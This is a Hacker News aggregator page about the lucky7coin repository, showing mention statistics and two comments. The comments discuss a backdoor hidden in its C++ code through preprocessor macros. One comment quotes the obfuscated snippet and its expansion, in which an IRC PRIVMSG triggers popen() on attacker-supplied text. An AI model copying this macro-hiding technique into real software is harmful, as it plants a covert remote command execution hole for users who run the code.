HackerReposA FIELD GUIDE TO OPEN SOURCE
ProSponsor the shelf♧ 0
← Back to top all-time
alerj78
lucky7coin
C++2016–2016
alerj78 / lucky7coin

lucky7coin

Discover this repository through its Hacker News conversations.

5Distinct people
5Mentions
0Explicit recommenders
8GitHub stars
REPOSITORY AT A GLANCE

What to know before exploring

What it is

A public description has not been verified.

Where it is used

No documented product use has been verified yet.

What people are saying

No recommendation phrase was found in the indexed comments.

No classified warning is attached to this page. Read the discussions before treating silence as approval.

Also in these discussions

No other repository is repeatedly linked in the same discussions.

This week on Hacker News

Nov 7–Nov 14 UTC · Direct repository links and separately labeled related project stories. Indexed through 11/14/2026, 5:04:57 PM UTC.

No direct repository links were found in the indexed HN discussions over the past seven days. Older discussions are available below.

Mentions over time

HN mentions by 6-hour interval5 dated mentions

Observed mentions: 2016-01-15 10:11:44 UTC to 2016-01-21 18:31:52 UTC.

012016-01-15 06:00:00 UTC to 2016-01-15 12:00:00 UTC (exclusive): 1 mentions; 1 submissions, 0 commentsJan 15, 06:002016-01-15 12:00:00 UTC to 2016-01-15 18:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-15 18:00:00 UTC to 2016-01-16 00:00:00 UTC (exclusive): 1 mentions; 0 submissions, 1 comments2016-01-16 00:00:00 UTC to 2016-01-16 06:00:00 UTC (exclusive): 1 mentions; 0 submissions, 1 comments2016-01-16 06:00:00 UTC to 2016-01-16 12:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-16 12:00:00 UTC to 2016-01-16 18:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-16 18:00:00 UTC to 2016-01-17 00:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-17 00:00:00 UTC to 2016-01-17 06:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-17 06:00:00 UTC to 2016-01-17 12:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-17 12:00:00 UTC to 2016-01-17 18:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-17 18:00:00 UTC to 2016-01-18 00:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-18 00:00:00 UTC to 2016-01-18 06:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-18 06:00:00 UTC to 2016-01-18 12:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-18 12:00:00 UTC to 2016-01-18 18:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 commentsJan 18, 12:002016-01-18 18:00:00 UTC to 2016-01-19 00:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-19 00:00:00 UTC to 2016-01-19 06:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-19 06:00:00 UTC to 2016-01-19 12:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-19 12:00:00 UTC to 2016-01-19 18:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-19 18:00:00 UTC to 2016-01-20 00:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-20 00:00:00 UTC to 2016-01-20 06:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-20 06:00:00 UTC to 2016-01-20 12:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-20 12:00:00 UTC to 2016-01-20 18:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-20 18:00:00 UTC to 2016-01-21 00:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-21 00:00:00 UTC to 2016-01-21 06:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-21 06:00:00 UTC to 2016-01-21 12:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2016-01-21 12:00:00 UTC to 2016-01-21 18:00:00 UTC (exclusive): 1 mentions; 0 submissions, 1 comments2016-01-21 18:00:00 UTC to 2016-01-22 00:00:00 UTC (exclusive): 1 mentions; 0 submissions, 1 commentsJan 21, 18:00

Counts come from the repository’s dated source evidence. Index cutoff: 2026-11-02 08:16:59 UTC.

View mention counts and date ranges
UTC ranges include their start and exclude their end. Select a period to filter the source evidence.
PeriodStart (UTC)End (exclusive, UTC)MentionsSubmissionsComments
Jan 15, 06:002016-01-15 06:00:00 UTC2016-01-15 12:00:00 UTC110
Jan 15, 12:002016-01-15 12:00:00 UTC2016-01-15 18:00:00 UTC000
Jan 15, 18:002016-01-15 18:00:00 UTC2016-01-16 00:00:00 UTC101
Jan 16, 00:002016-01-16 00:00:00 UTC2016-01-16 06:00:00 UTC101
Jan 16, 06:002016-01-16 06:00:00 UTC2016-01-16 12:00:00 UTC000
Jan 16, 12:002016-01-16 12:00:00 UTC2016-01-16 18:00:00 UTC000
Jan 16, 18:002016-01-16 18:00:00 UTC2016-01-17 00:00:00 UTC000
Jan 17, 00:002016-01-17 00:00:00 UTC2016-01-17 06:00:00 UTC000
Jan 17, 06:002016-01-17 06:00:00 UTC2016-01-17 12:00:00 UTC000
Jan 17, 12:002016-01-17 12:00:00 UTC2016-01-17 18:00:00 UTC000
Jan 17, 18:002016-01-17 18:00:00 UTC2016-01-18 00:00:00 UTC000
Jan 18, 00:002016-01-18 00:00:00 UTC2016-01-18 06:00:00 UTC000
Jan 18, 06:002016-01-18 06:00:00 UTC2016-01-18 12:00:00 UTC000
Jan 18, 12:002016-01-18 12:00:00 UTC2016-01-18 18:00:00 UTC000
Jan 18, 18:002016-01-18 18:00:00 UTC2016-01-19 00:00:00 UTC000
Jan 19, 00:002016-01-19 00:00:00 UTC2016-01-19 06:00:00 UTC000
Jan 19, 06:002016-01-19 06:00:00 UTC2016-01-19 12:00:00 UTC000
Jan 19, 12:002016-01-19 12:00:00 UTC2016-01-19 18:00:00 UTC000
Jan 19, 18:002016-01-19 18:00:00 UTC2016-01-20 00:00:00 UTC000
Jan 20, 00:002016-01-20 00:00:00 UTC2016-01-20 06:00:00 UTC000
Jan 20, 06:002016-01-20 06:00:00 UTC2016-01-20 12:00:00 UTC000
Jan 20, 12:002016-01-20 12:00:00 UTC2016-01-20 18:00:00 UTC000
Jan 20, 18:002016-01-20 18:00:00 UTC2016-01-21 00:00:00 UTC000
Jan 21, 00:002016-01-21 00:00:00 UTC2016-01-21 06:00:00 UTC000
Jan 21, 06:002016-01-21 06:00:00 UTC2016-01-21 12:00:00 UTC000
Jan 21, 12:002016-01-21 12:00:00 UTC2016-01-21 18:00:00 UTC101
Jan 21, 18:002016-01-21 18:00:00 UTC2016-01-22 00:00:00 UTC101

What Hacker News says

5 sources
IMO, whether or not the C preprocessor is good depends on what you're trying to do and how you do it. I doubt there are any preprocessors or macro systems that can't be used to obfuscate code - That's basically the definition of what they do, modify your code before you compile it. Obviously, and strange/unexplained preprocessor usage should be examined and preferably removed. The example you gave is not really fair though, because it seems pretty obvious to me that nobody ever looked at that code - it hardly matters they hid the backdoor in the the C pre-processor. If you take a look at the repo, it only has three commits - With the first one (https://github.com/alerj78/lucky7coin/commit/07d7e5fc53e5673...) being a supposed import of the code from the repo it used to exist in, and it's in this commit where the backdoor was inserted. The
Read the rest
real issue is that people were running code from someone who appears to be a complete unknown, has no history for his code, and just assumed it was the same as the old code without checking.
In Scandalous Weird Old Things About the C Preprocessor
The C preprocessor is a horrendous way of doing metaprogramming that was implemented because it was relatively easy to do as a separate pass. There's a reason why very few other languages have done it this way. A good knowledge of the preprocessor is essential for writing obfuscated and underhanded C. For example, the lucky7coin backdoor: https://github.com/alerj78/lucky7coin/issues/1 where the code if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1) { CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r"); expands to if (vWords[1] == "PR" "IV" "M" "SG" && vWords[3] == ":!" && vWords[0].size() > 1) { FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
In Scandalous Weird Old Things About the C Preprocessor

MAKE YOURSELF AT HOME

A few shortcuts

/
Search the collection
?
Open this guide
Esc
Close dialogs and navigation

Your saved repositories and interests stay in this browser.